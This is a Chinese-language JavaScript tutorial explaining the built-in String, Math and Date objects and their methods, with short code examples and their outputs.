字符串对象是一个类似数组的对象(很像数组,但不是数组)。

1
2
3
4
new String('abc')
// String {0: "a", 1: "b", 2: "c", length: 3}

(new String('abc'))[1] // "b"

上面代码中,字符串abc对应的字符串对象,有数值键(012)和length属性,所以可以像数组那样取值。

除了用作构造函数,String对象还可以当作工具方法使用,将任意类型的值转为字符串。

1
2
String(true) // "true"
String(5) // "5"

上面代码将布尔值true和数值5,分别转换为字符串。

静态方法

String.fromCharCode()

String对象提供的静态方法(即定义在对象本身,而不是定义在对象实例的方法),主要是String.fromCharCode()。该方法的参数是一个或多个数值,代表 Unicode 码点,返回值是这些码点组成的字符串。

1
2
3
4
String.fromCharCode() // ""
String.fromCharCode(97) // "a"
String.fromCharCode(104, 101, 108, 108, 111)
// "hello"

上面代码中,String.fromCharCode方法的参数为空,就返回空字符串;否则,返回参数对应的 Unicode 字符串。

注意,该方法不支持 Unicode 码点大于0xFFFF的字符,即传入的参数不能大于0xFFFF(即十进制的 65535)。

1
2
3
4
String.fromCharCode(0x20BB7)
// "ஷ"
String.fromCharCode(0x20BB7) === String.fromCharCode(0x0BB7)
// true

上面代码中,String.fromCharCode参数0x20BB7大于0xFFFF,导致返回结果出错。0x20BB7对应的字符是汉字𠮷,但是返回结果却是另一个字符(码点0x0BB7)。这是因为String.fromCharCode发现参数值大于0xFFFF,就会忽略多出的位(即忽略0x20BB7里面的2)。

这种现象的根本原因在于,码点大于0xFFFF的字符占用四个字节,而 JavaScript 默认支持两个字节的字符。这种情况下,必须把0x20BB7拆成两个字符表示。

1
2
String.fromCharCode(0xD842, 0xDFB7)
// "𠮷"

上面代码中,0x20BB7拆成两个字符0xD8420xDFB7(即两个两字节字符,合成一个四字节字符),就能得到正确的结果。码点大于0xFFFF的字符的四字节表示法,由 UTF-16 编码方法决定。

实例属性

String.prototype.length

字符串实例的length属性返回字符串的长度。

1
'abc'.length // 3

实例方法

String.prototype.charAt()

charAt方法返回指定位置的字符,参数是从0开始编号的位置。

1
2
3
4
var s = new String('abc');

s.charAt(1) // "b"
s.charAt(s.length - 1) // "c"

这个方法完全可以用数组下标替代。

1
2
'abc'.charAt(1) // "b"
'abc'[1] // "b"

如果参数为负数,或大于等于字符串的长度,charAt返回空字符串。

1
2
'abc'.charAt(-1) // ""
'abc'.charAt(3) // ""

String.prototype.charCodeAt()

charCodeAt方法返回字符串指定位置的 Unicode 码点(十进制表示),相当于String.fromCharCode()的逆操作。

1
'abc'.charCodeAt(1) // 98

上面代码中,abc1号位置的字符是b,它的 Unicode 码点是98

如果没有任何参数,charCodeAt返回首字符的 Unicode 码点。

1
'abc'.charCodeAt() // 97

如果参数为负数,或大于等于字符串的长度,charCodeAt返回NaN

1
2
'abc'.charCodeAt(-1) // NaN
'abc'.charCodeAt(4) // NaN

注意,charCodeAt方法返回的 Unicode 码点不会大于65536(0xFFFF),也就是说,只返回两个字节的字符的码点。如果遇到码点大于 65536 的字符(四个字节的字符),必需连续使用两次charCodeAt,不仅读入charCodeAt(i),还要读入charCodeAt(i+1),将两个值放在一起,才能得到准确的字符。

String.prototype.concat()

concat方法用于连接两个字符串,返回一个新字符串,不改变原字符串。

1
2
3
4
5
var s1 = 'abc';
var s2 = 'def';

s1.concat(s2) // "abcdef"
s1 // "abc"

该方法可以接受多个参数。

1
'a'.concat('b', 'c') // "abc"

如果参数不是字符串,concat方法会将其先转为字符串,然后再连接。

1
2
3
4
5
6
var one = 1;
var two = 2;
var three = '3';

''.concat(one, two, three) // "123"
one + two + three // "33"

上面代码中,concat方法将参数先转成字符串再连接,所以返回的是一个三个字符的字符串。作为对比,加号运算符在两个运算数都是数值时,不会转换类型,所以返回的是一个两个字符的字符串。

String.prototype.slice()

slice方法用于从原字符串取出子字符串并返回,不改变原字符串。它的第一个参数是子字符串的开始位置,第二个参数是子字符串的结束位置(不含该位置)。

1
'JavaScript'.slice(0, 4) // "Java"

如果省略第二个参数,则表示子字符串一直到原字符串结束。

1
'JavaScript'.slice(4) // "Script"

如果参数是负值,表示从结尾开始倒数计算的位置,即该负值加上字符串长度。

1
2
3
'JavaScript'.slice(-6) // "Script"
'JavaScript'.slice(0, -6) // "Java"
'JavaScript'.slice(-2, -1) // "p"

如果第一个参数大于第二个参数,slice方法返回一个空字符串。

1
'JavaScript'.slice(2, 1) // ""

String.prototype.substring()

substring方法用于从原字符串取出子字符串并返回,不改变原字符串,跟slice方法很相像。它的第一个参数表示子字符串的开始位置,第二个位置表示结束位置(返回结果不含该位置)。

1
'JavaScript'.substring(0, 4) // "Java"

如果省略第二个参数,则表示子字符串一直到原字符串的结束。

1
'JavaScript'.substring(4) // "Script"

如果第一个参数大于第二个参数,substring方法会自动更换两个参数的位置。

1
2
3
'JavaScript'.substring(10, 4) // "Script"
// 等同于
'JavaScript'.substring(4, 10) // "Script"

上面代码中,调换substring方法的两个参数,都得到同样的结果。

如果参数是负数,substring方法会自动将负数转为0。

1
2
'JavaScript'.substring(-3) // "JavaScript"
'JavaScript'.substring(4, -3) // "Java"

上面代码中,第二个例子的参数-3会自动变成0,等同于'JavaScript'.substring(4, 0)。由于第二个参数小于第一个参数,会自动互换位置,所以返回Java

由于这些规则违反直觉,因此不建议使用substring方法,应该优先使用slice

String.prototype.substr()

substr方法用于从原字符串取出子字符串并返回,不改变原字符串,跟slicesubstring方法的作用相同。

substr方法的第一个参数是子字符串的开始位置(从0开始计算),第二个参数是子字符串的长度。

1
'JavaScript'.substr(4, 6) // "Script"

如果省略第二个参数,则表示子字符串一直到原字符串的结束。

1
'JavaScript'.substr(4) // "Script"

如果第一个参数是负数,表示倒数计算的字符位置。如果第二个参数是负数,将被自动转为0,因此会返回空字符串。

1
2
'JavaScript'.substr(-6) // "Script"
'JavaScript'.substr(4, -1) // ""

上面代码中,第二个例子的参数-1自动转为0,表示子字符串长度为0,所以返回空字符串。

String.prototype.indexOf(),String.prototype.lastIndexOf()

indexOf方法用于确定一个字符串在另一个字符串中第一次出现的位置,返回结果是匹配开始的位置。如果返回-1,就表示不匹配。

1
2
'hello world'.indexOf('o') // 4
'JavaScript'.indexOf('script') // -1

indexOf方法还可以接受第二个参数,表示从该位置开始向后匹配。

1
'hello world'.indexOf('o', 6) // 7

lastIndexOf方法的用法跟indexOf方法一致,主要的区别是lastIndexOf从尾部开始匹配,indexOf则是从头部开始匹配。

1
'hello world'.lastIndexOf('o') // 7

另外,lastIndexOf的第二个参数表示从该位置起向前匹配。

1
'hello world'.lastIndexOf('o', 6) // 4

String.prototype.trim()

trim方法用于去除字符串两端的空格,返回一个新字符串,不改变原字符串。

1
2
'  hello world  '.trim()
// "hello world"

该方法去除的不仅是空格,还包括制表符(\t\v)、换行符(\n)和回车符(\r)。

1
'\r\nabc \t'.trim() // 'abc'

String.prototype.toLowerCase(),String.prototype.toUpperCase()

toLowerCase方法用于将一个字符串全部转为小写,toUpperCase则是全部转为大写。它们都返回一个新字符串,不改变原字符串。

1
2
3
4
5
'Hello World'.toLowerCase()
// "hello world"

'Hello World'.toUpperCase()
// "HELLO WORLD"

String.prototype.match()

match方法用于确定原字符串是否匹配某个子字符串,返回一个数组,成员为匹配的第一个字符串。如果没有找到匹配,则返回null

1
2
'cat, bat, sat, fat'.match('at') // ["at"]
'cat, bat, sat, fat'.match('xt') // null

返回的数组还有index属性和input属性,分别表示匹配字符串开始的位置和原始字符串。

1
2
3
var matches = 'cat, bat, sat, fat'.match('at');
matches.index // 1
matches.input // "cat, bat, sat, fat"

match方法还可以使用正则表达式作为参数,详见《正则表达式》一章。

String.prototype.search(),String.prototype.replace()

search方法的用法基本等同于match,但是返回值为匹配的第一个位置。如果没有找到匹配,则返回-1

1
'cat, bat, sat, fat'.search('at') // 1

search方法还可以使用正则表达式作为参数,详见《正则表达式》一节。

replace方法用于替换匹配的子字符串,一般情况下只替换第一个匹配(除非使用带有g修饰符的正则表达式)。

1
'aaa'.replace('a', 'b') // "baa"

replace方法还可以使用正则表达式作为参数,详见《正则表达式》一节。

String.prototype.split()

split方法按照给定规则分割字符串,返回一个由分割出来的子字符串组成的数组。

1
'a|b|c'.split('|') // ["a", "b", "c"]

如果分割规则为空字符串,则返回数组的成员是原字符串的每一个字符。

1
'a|b|c'.split('') // ["a", "|", "b", "|", "c"]

如果省略参数,则返回数组的唯一成员就是原字符串。

1
'a|b|c'.split() // ["a|b|c"]

如果满足分割规则的两个部分紧邻着(即两个分割符中间没有其他字符),则返回数组之中会有一个空字符串。

1
'a||c'.split('|') // ['a', '', 'c']

如果满足分割规则的部分处于字符串的开头或结尾(即它的前面或后面没有其他字符),则返回数组的第一个或最后一个成员是一个空字符串。

1
2
'|b|c'.split('|') // ["", "b", "c"]
'a|b|'.split('|') // ["a", "b", ""]

split方法还可以接受第二个参数,限定返回数组的最大成员数。

1
2
3
4
5
'a|b|c'.split('|', 0) // []
'a|b|c'.split('|', 1) // ["a"]
'a|b|c'.split('|', 2) // ["a", "b"]
'a|b|c'.split('|', 3) // ["a", "b", "c"]
'a|b|c'.split('|', 4) // ["a", "b", "c"]

上面代码中,split方法的第二个参数,决定了返回数组的成员数。

split方法还可以使用正则表达式作为参数,详见《正则表达式》一节。

String.prototype.localeCompare()

localeCompare方法用于比较两个字符串。它返回一个整数,如果小于0,表示第一个字符串小于第二个字符串;如果等于0,表示两者相等;如果大于0,表示第一个字符串大于第二个字符串。

1
2
'apple'.localeCompare('banana') // -1
'apple'.localeCompare('apple') // 0

该方法的最大特点,就是会考虑自然语言的顺序。举例来说,正常情况下,大写的英文字母小于小写字母。

1
'B' > 'a' // false

上面代码中,字母B小于字母a。因为 JavaScript 采用的是 Unicode 码点比较,B的码点是66,而a的码点是97。

但是,localeCompare方法会考虑自然语言的排序情况,将B排在a的前面。

1
'B'.localeCompare('a') // 1

上面代码中,localeCompare方法返回整数1,表示B较大。

localeCompare还可以有第二个参数,指定所使用的语言(默认是英语),然后根据该语言的规则进行比较。

1
2
'ä'.localeCompare('z', 'de') // -1
'ä'.localeCompare('z', 'sv') // 1

上面代码中,de表示德语,sv表示瑞典语。德语中,ä小于z,所以返回-1;瑞典语中,ä大于z,所以返回1

参考链接

Math 对象

Math是 JavaScript 的原生对象,提供各种数学功能。该对象不是构造函数,不能生成实例,所有的属性和方法都必须在Math对象上调用。

静态属性

Math对象的静态属性,提供以下一些数学常数。

  • Math.E:常数e
  • Math.LN2:2 的自然对数。
  • Math.LN10:10 的自然对数。
  • Math.LOG2E:以 2 为底的e的对数。
  • Math.LOG10E:以 10 为底的e的对数。
  • Math.PI:常数π
  • Math.SQRT1_2:0.5 的平方根。
  • Math.SQRT2:2 的平方根。
1
2
3
4
5
6
7
8
Math.E // 2.718281828459045
Math.LN2 // 0.6931471805599453
Math.LN10 // 2.302585092994046
Math.LOG2E // 1.4426950408889634
Math.LOG10E // 0.4342944819032518
Math.PI // 3.141592653589793
Math.SQRT1_2 // 0.7071067811865476
Math.SQRT2 // 1.4142135623730951

这些属性都是只读的,不能修改。

静态方法

Math对象提供以下一些静态方法。

  • Math.abs():绝对值
  • Math.ceil():向上取整
  • Math.floor():向下取整
  • Math.max():最大值
  • Math.min():最小值
  • Math.pow():指数运算
  • Math.sqrt():平方根
  • Math.log():自然对数
  • Math.exp()e的指数
  • Math.round():四舍五入
  • Math.random():随机数

Math.abs()

Math.abs方法返回参数值的绝对值。

1
2
Math.abs(1) // 1
Math.abs(-1) // 1

Math.max(),Math.min()

Math.max方法返回参数之中最大的那个值,Math.min返回最小的那个值。如果参数为空, Math.min返回Infinity, Math.max返回-Infinity

1
2
3
4
Math.max(2, -1, 5) // 5
Math.min(2, -1, 5) // -1
Math.min() // Infinity
Math.max() // -Infinity

Math.floor(),Math.ceil()

Math.floor方法返回小于参数值的最大整数(地板值)。

1
2
Math.floor(3.2) // 3
Math.floor(-3.2) // -4

Math.ceil方法返回大于参数值的最小整数(天花板值)。

1
2
Math.ceil(3.2) // 4
Math.ceil(-3.2) // -3

这两个方法可以结合起来,实现一个总是返回数值的整数部分的函数。

1
2
3
4
5
6
7
8
9
10
11
function ToInteger(x) {
x = Number(x);
return x < 0 ? Math.ceil(x) : Math.floor(x);
}

ToInteger(3.2) // 3
ToInteger(3.5) // 3
ToInteger(3.8) // 3
ToInteger(-3.2) // -3
ToInteger(-3.5) // -3
ToInteger(-3.8) // -3

上面代码中,不管正数或负数,ToInteger函数总是返回一个数值的整数部分。

Math.round()

Math.round方法用于四舍五入。

1
2
3
4
5
6
Math.round(0.1) // 0
Math.round(0.5) // 1
Math.round(0.6) // 1

// 等同于
Math.floor(x + 0.5)

注意,它对负数的处理(主要是对0.5的处理)。

1
2
3
Math.round(-1.1) // -1
Math.round(-1.5) // -1
Math.round(-1.6) // -2

Math.pow()

Math.pow方法返回以第一个参数为底数、第二个参数为幂的指数值。

1
2
3
4
// 等同于 2 ** 2
Math.pow(2, 2) // 4
// 等同于 2 ** 3
Math.pow(2, 3) // 8

下面是计算圆面积的方法。

1
2
var radius = 20;
var area = Math.PI * Math.pow(radius, 2);

Math.sqrt()

Math.sqrt方法返回参数值的平方根。如果参数是一个负值,则返回NaN

1
2
Math.sqrt(4) // 2
Math.sqrt(-4) // NaN

Math.log()

Math.log方法返回以e为底的自然对数值。

1
2
Math.log(Math.E) // 1
Math.log(10) // 2.302585092994046

如果要计算以10为底的对数,可以先用Math.log求出自然对数,然后除以Math.LN10;求以2为底的对数,可以除以Math.LN2

1
2
Math.log(100)/Math.LN10 // 2
Math.log(8)/Math.LN2 // 3

Math.exp()

Math.exp方法返回常数e的参数次方。

1
2
Math.exp(1) // 2.718281828459045
Math.exp(3) // 20.085536923187668

Math.random()

Math.random()返回0到1之间的一个伪随机数,可能等于0,但是一定小于1。

1
Math.random() // 0.7151307314634323

任意范围的随机数生成函数如下。

1
2
3
4
5
6
function getRandomArbitrary(min, max) {
return Math.random() * (max - min) + min;
}

getRandomArbitrary(1.5, 6.5)
// 2.4942810038223864

任意范围的随机整数生成函数如下。

1
2
3
4
5
function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}

getRandomInt(1, 6) // 5

返回随机字符的例子如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
function random_str(length) {
var ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
ALPHABET += 'abcdefghijklmnopqrstuvwxyz';
ALPHABET += '0123456789-_';
var str = '';
for (var i = 0; i < length; ++i) {
var rand = Math.floor(Math.random() * ALPHABET.length);
str += ALPHABET.substring(rand, rand + 1);
}
return str;
}

random_str(6) // "NdQKOr"

上面代码中,random_str函数接受一个整数作为参数,返回变量ALPHABET内的随机字符所组成的指定长度的字符串。

三角函数方法

Math对象还提供一系列三角函数方法。

  • Math.sin():返回参数的正弦(参数为弧度值)
  • Math.cos():返回参数的余弦(参数为弧度值)
  • Math.tan():返回参数的正切(参数为弧度值)
  • Math.asin():返回参数的反正弦(返回值为弧度值)
  • Math.acos():返回参数的反余弦(返回值为弧度值)
  • Math.atan():返回参数的反正切(返回值为弧度值)
1
2
3
4
5
6
7
8
9
Math.sin(0) // 0
Math.cos(0) // 1
Math.tan(0) // 0

Math.sin(Math.PI / 2) // 1

Math.asin(1) // 1.5707963267948966
Math.acos(1) // 0
Math.atan(1) // 0.7853981633974483

Date 对象

Date对象是 JavaScript 原生的时间库。它以国际标准时间(UTC)1970年1月1日00:00:00作为时间的零点,可以表示的时间范围是前后各1亿天(单位为毫秒)。

普通函数的用法

Date对象可以作为普通函数直接调用,返回一个代表当前时间的字符串。

1
2
Date()
// "Tue Dec 01 2015 09:34:43 GMT+0800 (CST)"

注意,即使带有参数,Date作为普通函数使用时,返回的还是当前时间。

1
2
Date(2000, 1, 1)
// "Tue Dec 01 2015 09:34:43 GMT+0800 (CST)"

上面代码说明,无论有没有参数,直接调用Date总是返回当前时间。

构造函数的用法

Date还可以当作构造函数使用。对它使用new命令,会返回一个Date对象的实例。如果不加参数,实例代表的就是当前时间。

1
var today = new Date();

Date实例有一个独特的地方。其他对象求值的时候,都是默认调用.valueOf()方法,但是Date实例求值的时候,默认调用的是toString()方法。这导致对Date实例求值,返回的是一个字符串,代表该实例对应的时间。

1
2
3
4
5
6
7
8
var today = new Date();

today
// "Tue Dec 01 2015 09:34:43 GMT+0800 (CST)"

// 等同于
today.toString()
// "Tue Dec 01 2015 09:34:43 GMT+0800 (CST)"

上面代码中,todayDate的实例,直接求值等同于调用toString方法。

作为构造函数时,Date对象可以接受多种格式的参数,返回一个该参数对应的时间实例。

1
2
3
4
5
6
7
8
9
10
11
12
// 参数为时间零点开始计算的毫秒数
new Date(1378218728000)
// Tue Sep 03 2013 22:32:08 GMT+0800 (CST)

// 参数为日期字符串
new Date('January 6, 2013');
// Sun Jan 06 2013 00:00:00 GMT+0800 (CST)

// 参数为多个整数,
// 代表年、月、日、小时、分钟、秒、毫秒
new Date(2013, 0, 1, 0, 0, 0, 0)
// Tue Jan 01 2013 00:00:00 GMT+0800 (CST)

关于Date构造函数的参数,有几点说明。

第一点,参数可以是负整数,代表1970年元旦之前的时间。

1
2
new Date(-1378218728000)
// Fri Apr 30 1926 17:27:52 GMT+0800 (CST)

第二点,只要是能被Date.parse()方法解析的字符串,都可以当作参数。

1
2
3
4
5
6
7
8
9
10
11
new Date('2013-2-15')
new Date('2013/2/15')
new Date('02/15/2013')
new Date('2013-FEB-15')
new Date('FEB, 15, 2013')
new Date('FEB 15, 2013')
new Date('February, 15, 2013')
new Date('February 15, 2013')
new Date('15 Feb 2013')
new Date('15, February, 2013')
// Fri Feb 15 2013 00:00:00 GMT+0800 (CST)

上面多种日期字符串的写法,返回的都是同一个时间。

第三,参数为年、月、日等多个整数时,年和月是不能省略的,其他参数都可以省略的。也就是说,这时至少需要两个参数,因为如果只使用“年”这一个参数,Date会将其解释为毫秒数。

1
2
new Date(2013)
// Thu Jan 01 1970 08:00:02 GMT+0800 (CST)

上面代码中,2013被解释为毫秒数,而不是年份。

1
2
3
4
5
6
7
8
new Date(2013, 0)
// Tue Jan 01 2013 00:00:00 GMT+0800 (CST)
new Date(2013, 0, 1)
// Tue Jan 01 2013 00:00:00 GMT+0800 (CST)
new Date(2013, 0, 1, 0)
// Tue Jan 01 2013 00:00:00 GMT+0800 (CST)
new Date(2013, 0, 1, 0, 0, 0, 0)
// Tue Jan 01 2013 00:00:00 GMT+0800 (CST)

上面代码中,不管有几个参数,返回的都是2013年1月1日零点。

最后,各个参数的取值范围如下。

  • 年:使用四位数年份,比如2000。如果写成两位数或个位数,则加上1900,即10代表1910年。如果是负数,表示公元前。
  • 月:0表示一月,依次类推,11表示12月。
  • 日:131
  • 小时:023
  • 分钟:059
  • 秒:059
  • 毫秒:0999

注意,月份从0开始计算,但是,天数从1开始计算。另外,除了日期的默认值为1,小时、分钟、秒钟和毫秒的默认值都是0

这些参数如果超出了正常范围,会被自动折算。比如,如果月设为15,就折算为下一年的4月。

1
2
3
4
new Date(2013, 15)
// Tue Apr 01 2014 00:00:00 GMT+0800 (CST)
new Date(2013, 0, 0)
// Mon Dec 31 2012 00:00:00 GMT+0800 (CST)

上面代码的第二个例子,日期设为0,就代表上个月的最后一天。

参数还可以使用负数,表示扣去的时间。

1
2
3
4
new Date(2013, -1)
// Sat Dec 01 2012 00:00:00 GMT+0800 (CST)
new Date(2013, 0, -1)
// Sun Dec 30 2012 00:00:00 GMT+0800 (CST)

上面代码中,分别对月和日使用了负数,表示从基准日扣去相应的时间。

日期的运算

类型自动转换时,Date实例如果转为数值,则等于对应的毫秒数;如果转为字符串,则等于对应的日期字符串。所以,两个日期实例对象进行减法运算时,返回的是它们间隔的毫秒数;进行加法运算时,返回的是两个字符串连接而成的新字符串。

1
2
3
4
5
6
7
var d1 = new Date(2000, 2, 1);
var d2 = new Date(2000, 3, 1);

d2 - d1
// 2678400000
d2 + d1
// "Sat Apr 01 2000 00:00:00 GMT+0800 (CST)Wed Mar 01 2000 00:00:00 GMT+0800 (CST)"

静态方法

Date.now()

Date.now方法返回当前时间距离时间零点(1970年1月1日 00:00:00 UTC)的毫秒数,相当于 Unix 时间戳乘以1000。

1
Date.now() // 1364026285194

Date.parse()

Date.parse方法用来解析日期字符串,返回该时间距离时间零点(1970年1月1日 00:00:00)的毫秒数。

日期字符串应该符合 RFC 2822 和 ISO 8061 这两个标准,即YYYY-MM-DDTHH:mm:ss.sssZ格式,其中最后的Z表示时区。但是,其他格式也可以被解析,请看下面的例子。

1
2
3
4
5
6
Date.parse('Aug 9, 1995')
Date.parse('January 26, 2011 13:51:50')
Date.parse('Mon, 25 Dec 1995 13:30:00 GMT')
Date.parse('Mon, 25 Dec 1995 13:30:00 +0430')
Date.parse('2011-10-10')
Date.parse('2011-10-10T14:48:00')

上面的日期字符串都可以解析。

如果解析失败,返回NaN

1
Date.parse('xxx') // NaN

Date.UTC()

Date.UTC方法接受年、月、日等变量作为参数,返回该时间距离时间零点(1970年1月1日 00:00:00 UTC)的毫秒数。

1
2
3
4
5
6
// 格式
Date.UTC(year, month[, date[, hrs[, min[, sec[, ms]]]]])

// 用法
Date.UTC(2011, 0, 1, 2, 3, 4, 567)
// 1293847384567

该方法的参数用法与Date构造函数完全一致,比如月从0开始计算,日期从1开始计算。区别在于Date.UTC方法的参数,会被解释为 UTC 时间(世界标准时间),Date构造函数的参数会被解释为当前时区的时间。

实例方法

Date的实例对象,有几十个自己的方法,除了valueOftoString,可以分为以下三类。

  • to类:从Date对象返回一个字符串,表示指定的时间。
  • get类:获取Date对象的日期和时间。
  • set类:设置Date对象的日期和时间。

Date.prototype.valueOf()

valueOf方法返回实例对象距离时间零点(1970年1月1日00:00:00 UTC)对应的毫秒数,该方法等同于getTime方法。

1
2
3
4
var d = new Date();

d.valueOf() // 1362790014817
d.getTime() // 1362790014817

预期为数值的场合,Date实例会自动调用该方法,所以可以用下面的方法计算时间的间隔。

1
2
3
4
var start = new Date();
// ...
var end = new Date();
var elapsed = end - start;

to 类方法

(1)Date.prototype.toString()

toString方法返回一个完整的日期字符串。

1
2
3
4
5
6
var d = new Date(2013, 0, 1);

d.toString()
// "Tue Jan 01 2013 00:00:00 GMT+0800 (CST)"
d
// "Tue Jan 01 2013 00:00:00 GMT+0800 (CST)"

因为toString是默认的调用方法,所以如果直接读取Date实例,就相当于调用这个方法。

(2)Date.prototype.toUTCString()

toUTCString方法返回对应的 UTC 时间,也就是比北京时间晚8个小时。

1
2
3
4
var d = new Date(2013, 0, 1);

d.toUTCString()
// "Mon, 31 Dec 2012 16:00:00 GMT"

(3)Date.prototype.toISOString()

toISOString方法返回对应时间的 ISO8601 写法。

1
2
3
4
var d = new Date(2013, 0, 1);

d.toISOString()
// "2012-12-31T16:00:00.000Z"

注意,toISOString方法返回的总是 UTC 时区的时间。

(4)Date.prototype.toJSON()

toJSON方法返回一个符合 JSON 格式的 ISO 日期字符串,与toISOString方法的返回结果完全相同。

1
2
3
4
var d = new Date(2013, 0, 1);

d.toJSON()
// "2012-12-31T16:00:00.000Z"

(5)Date.prototype.toDateString()

toDateString方法返回日期字符串(不含小时、分和秒)。

1
2
var d = new Date(2013, 0, 1);
d.toDateString() // "Tue Jan 01 2013"

(6)Date.prototype.toTimeString()

toTimeString方法返回时间字符串(不含年月日)。

1
2
var d = new Date(2013, 0, 1);
d.toTimeString() // "00:00:00 GMT+0800 (CST)"

(7)本地时间

以下三种方法,可以将 Date 实例转为表示本地时间的字符串。

  • Date.prototype.toLocaleString():完整的本地时间。
  • Date.prototype.toLocaleDateString():本地日期(不含小时、分和秒)。
  • Date.prototype.toLocaleTimeString():本地时间(不含年月日)。

下面是用法实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
var d = new Date(2013, 0, 1);

d.toLocaleString()
// 中文版浏览器为"2013年1月1日 上午12:00:00"
// 英文版浏览器为"1/1/2013 12:00:00 AM"

d.toLocaleDateString()
// 中文版浏览器为"2013年1月1日"
// 英文版浏览器为"1/1/2013"

d.toLocaleTimeString()
// 中文版浏览器为"上午12:00:00"
// 英文版浏览器为"12:00:00 AM"

这三个方法都有两个可选的参数。

1
2
3
dateObj.toLocaleString([locales[, options]])
dateObj.toLocaleDateString([locales[, options]])
dateObj.toLocaleTimeString([locales[, options]])

这两个参数中,locales是一个指定所用语言的字符串,options是一个配置对象。下面是locales的例子。

1
2
3
4
5
6
7
8
9
10
var d = new Date(2013, 0, 1);

d.toLocaleString('en-US') // "1/1/2013, 12:00:00 AM"
d.toLocaleString('zh-CN') // "2013/1/1 上午12:00:00"

d.toLocaleDateString('en-US') // "1/1/2013"
d.toLocaleDateString('zh-CN') // "2013/1/1"

d.toLocaleTimeString('en-US') // "12:00:00 AM"
d.toLocaleTimeString('zh-CN') // "上午12:00:00"

下面是options的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
var d = new Date(2013, 0, 1);

// 时间格式
// 下面的设置是,星期和月份为完整文字,年份和日期为数字
d.toLocaleDateString('en-US', {
weekday: 'long',
year: 'numeric',
month: 'long',
day: 'numeric'
})
// "Tuesday, January 1, 2013"

// 指定时区
d.toLocaleTimeString('en-US', {
timeZone: 'UTC',
timeZoneName: 'short'
})
// "4:00:00 PM UTC"

d.toLocaleTimeString('en-US', {
timeZone: 'Asia/Shanghai',
timeZoneName: 'long'
})
// "12:00:00 AM China Standard Time"

// 小时周期为12还是24
d.toLocaleTimeString('en-US', {
hour12: false
})
// "00:00:00"

d.toLocaleTimeString('en-US', {
hour12: true
})
// "12:00:00 AM"

get 类方法

Date对象提供了一系列get*方法,用来获取实例对象某个方面的值。

  • getTime():返回实例距离1970年1月1日00:00:00的毫秒数,等同于valueOf方法。
  • getDate():返回实例对象对应每个月的几号(从1开始)。
  • getDay():返回星期几,星期日为0,星期一为1,以此类推。
  • getFullYear():返回四位的年份。
  • getMonth():返回月份(0表示1月,11表示12月)。
  • getHours():返回小时(0-23)。
  • getMilliseconds():返回毫秒(0-999)。
  • getMinutes():返回分钟(0-59)。
  • getSeconds():返回秒(0-59)。
  • getTimezoneOffset():返回当前时间与 UTC 的时区差异,以分钟表示,返回结果考虑到了夏令时因素。

所有这些get*方法返回的都是整数,不同方法返回值的范围不一样。

  • 分钟和秒:0 到 59
  • 小时:0 到 23
  • 星期:0(星期天)到 6(星期六)
  • 日期:1 到 31
  • 月份:0(一月)到 11(十二月)
1
2
3
4
5
6
var d = new Date('January 6, 2013');

d.getDate() // 6
d.getMonth() // 0
d.getFullYear() // 2013
d.getTimezoneOffset() // -480

上面代码中,最后一行返回-480,即 UTC 时间减去当前时间,单位是分钟。-480表示 UTC 比当前时间少480分钟,即当前时区比 UTC 早8个小时。

下面是一个例子,计算本年度还剩下多少天。

1
2
3
4
5
6
function leftDays() {
var today = new Date();
var endYear = new Date(today.getFullYear(), 11, 31, 23, 59, 59, 999);
var msPerDay = 24 * 60 * 60 * 1000;
return Math.round((endYear.getTime() - today.getTime()) / msPerDay);
}

上面这些get*方法返回的都是当前时区的时间,Date对象还提供了这些方法对应的 UTC 版本,用来返回 UTC 时间。

  • getUTCDate()
  • getUTCFullYear()
  • getUTCMonth()
  • getUTCDay()
  • getUTCHours()
  • getUTCMinutes()
  • getUTCSeconds()
  • getUTCMilliseconds()
1
2
3
4
var d = new Date('January 6, 2013');

d.getDate() // 6
d.getUTCDate() // 5

上面代码中,实例对象d表示当前时区(东八时区)的1月6日0点0分0秒,这个时间对于当前时区来说是1月6日,所以getDate方法返回6,对于 UTC 时区来说是1月5日,所以getUTCDate方法返回5。

set 类方法

Date对象提供了一系列set*方法,用来设置实例对象的各个方面。

  • setDate(date):设置实例对象对应的每个月的几号(1-31),返回改变后毫秒时间戳。
  • setFullYear(year [, month, date]):设置四位年份。
  • setHours(hour [, min, sec, ms]):设置小时(0-23)。
  • setMilliseconds():设置毫秒(0-999)。
  • setMinutes(min [, sec, ms]):设置分钟(0-59)。
  • setMonth(month [, date]):设置月份(0-11)。
  • setSeconds(sec [, ms]):设置秒(0-59)。
  • setTime(milliseconds):设置毫秒时间戳。

这些方法基本是跟get*方法一一对应的,但是没有setDay方法,因为星期几是计算出来的,而不是设置的。另外,需要注意的是,凡是涉及到设置月份,都是从0开始算的,即0是1月,11是12月。

1
2
3
4
5
var d = new Date ('January 6, 2013');

d // Sun Jan 06 2013 00:00:00 GMT+0800 (CST)
d.setDate(9) // 1357660800000
d // Wed Jan 09 2013 00:00:00 GMT+0800 (CST)

set*方法的参数都会自动折算。以setDate为例,如果参数超过当月的最大天数,则向下一个月顺延,如果参数是负数,表示从上个月的最后一天开始减去的天数。

1
2
3
4
5
6
7
8
9
var d1 = new Date('January 6, 2013');

d1.setDate(32) // 1359648000000
d1 // Fri Feb 01 2013 00:00:00 GMT+0800 (CST)

var d2 = new Date ('January 6, 2013');

d.setDate(-1) // 1356796800000
d // Sun Dec 30 2012 00:00:00 GMT+0800 (CST)

set类方法和get类方法,可以结合使用,得到相对时间。

1
2
3
4
5
6
7
8
var d = new Date();

// 将日期向后推1000天
d.setDate(d.getDate() + 1000);
// 将时间设为6小时后
d.setHours(d.getHours() + 6);
// 将年份设为去年
d.setFullYear(d.getFullYear() - 1);

set*系列方法除了setTime(),都有对应的 UTC 版本,即设置 UTC 时区的时间。

  • setUTCDate()
  • setUTCFullYear()
  • setUTCHours()
  • setUTCMilliseconds()
  • setUTCMinutes()
  • setUTCMonth()
  • setUTCSeconds()
1
2
3
4
var d = new Date('January 6, 2013');
d.getUTCHours() // 16
d.setUTCHours(22) // 1357423200000
d // Sun Jan 06 2013 06:00:00 GMT+0800 (CST)

上面代码中,本地时区(东八时区)的1月6日0点0分,是 UTC 时区的前一天下午16点。设为 UTC 时区的22点以后,就变为本地时区的上午6点。

参考链接

